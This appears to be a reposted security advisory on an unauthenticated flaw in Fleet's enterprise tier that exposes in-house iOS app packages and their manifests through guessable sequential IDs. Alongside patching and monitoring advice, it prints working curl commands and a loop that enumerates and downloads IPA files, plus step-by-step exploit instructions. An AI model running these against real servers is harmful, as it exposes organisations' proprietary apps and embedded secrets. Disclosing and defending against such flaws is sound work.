Listen to this Post
Vulnerability Overview
Two endpoints in Fleet’s enterprise tier—responsible for serving in-house iOS application packages (IPA files) and their corresponding manifests—are exposed without a hard-to-guess token in the URL path. This design flaw allows an unauthenticated attacker with network access to the Fleet server to enumerate and download in-house IPA binaries by guessing sequential numeric or alphanumeric identifiers associated with deployed applications.
The root cause lies in Apple’s `InstallEnterpriseApplication` MDM command specification, which mandates that the manifest URL must be directly reachable by the managed device without requiring an active Fleet session. Because of this requirement, the endpoints cannot enforce traditional session‑based authentication. Fleet’s legacy MDM installer path addresses this by embedding a random, time‑limited token in the URL—a pattern that was intended to be carried over to the newer in‑house iOS app endpoints. However, when these endpoints were added, the token‑based mitigation was not yet implemented, leaving them accessible via predictable, sequential URLs.
An attacker who can reach the Fleet server can simply iterate over likely identifier values to retrieve IPA files and their associated metadata, including bundle identifier, version number, and application name. This exposure is limited to the enterprise tier; the free tier responds with `fleet.ErrMissingLicense` and does not serve the affected endpoints. There is no privilege escalation, no write access, and no impact on hosts not managed by Fleet. The disclosure is read‑only, but it can expose proprietary or sensitive in‑house applications that an organization has deployed through Fleet.
The vulnerability was responsibly reported by @offset and has been acknowledged by the Fleet team. As of the latest available information, a CVE identifier has not yet been assigned, but the issue is tracked under GitHub Security Advisory GHSA‑q9c5‑pp7m‑fm2g.
DailyCVE Form:
Platform: Fleet enterprise tier
Version: affected versions (pre‑patch)
Vulnerability: unauthenticated IPA disclosure
Severity: Moderate
date: 2026‑08‑11 (advisory published)
Prediction: patch expected within 30‑60 days
What Undercode Say:
The following analytics and commands are derived from the vulnerability’s behavior and can be used to assess exposure in a controlled environment.
Checking endpoint exposure:
curl -s -o /dev/null -w "%{http_code}" https://fleet-server.example.com/api/fleet/enterprise/ios/apps/1/manifest.plist
Enumerating IPA binaries via sequential IDs:
for i in $(seq 1 100); do
curl -s -o "app_${i}.ipa" "https://fleet-server.example.com/api/fleet/enterprise/ios/apps/${i}/package"
done
Extracting metadata from manifest:
curl -s "https://fleet-server.example.com/api/fleet/enterprise/ios/apps/1/manifest.plist" | plutil -p -
Exploit: (Educational Purposes!)
- Identify the Fleet server’s base URL (e.g., via network reconnaissance or公开 information).
- Send a GET request to the manifest endpoint with a low numeric identifier, e.g.,
/api/fleet/enterprise/ios/apps/1/manifest.plist. - If the response returns a valid property list (plist) containing bundle ID, version, and name, the endpoint is vulnerable.
- Increment the identifier sequentially to enumerate all deployed in‑house iOS applications.
- For each discovered app, request the corresponding IPA package from the package endpoint, e.g.,
/api/fleet/enterprise/ios/apps/1/package. - Save the retrieved IPA files for offline analysis or reverse engineering.
Note: This information is provided solely for educational and defensive purposes. Unauthorized access to systems you do not own is illegal.
Protection:
- Upgrade Fleet to the latest version as soon as the patch is released. The fix is expected to introduce a time‑limited, hard‑to‑guess token for the in‑house iOS app endpoints, consistent with the legacy MDM installer path.
- Restrict network access to the Fleet server to trusted networks only, as is standard practice for MDM deployments.
- Remove sensitive in‑house iOS apps from Fleet if they contain proprietary or confidential material. IPAs are intentionally reachable by managed devices and should not be treated as a confidential distribution channel.
- Configure CloudFront URL signing for software installers where available, to limit the validity window of issued binary URLs.
- Monitor access logs for unexpected requests to the `/api/fleet/enterprise/ios/apps/` endpoints, which may indicate enumeration attempts.
Impact:
- Read‑only disclosure of in‑house IPA binaries and their metadata (bundle identifier, version, name).
- Enterprise‑tier only — free tier instances are not affected.
- No privilege escalation or write access; the attacker cannot modify data or execute code on the Fleet server or managed devices.
- No impact on hosts not managed by Fleet.
- Potential exposure of proprietary application logic, embedded secrets, or intellectual property if sensitive apps are deployed via Fleet.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
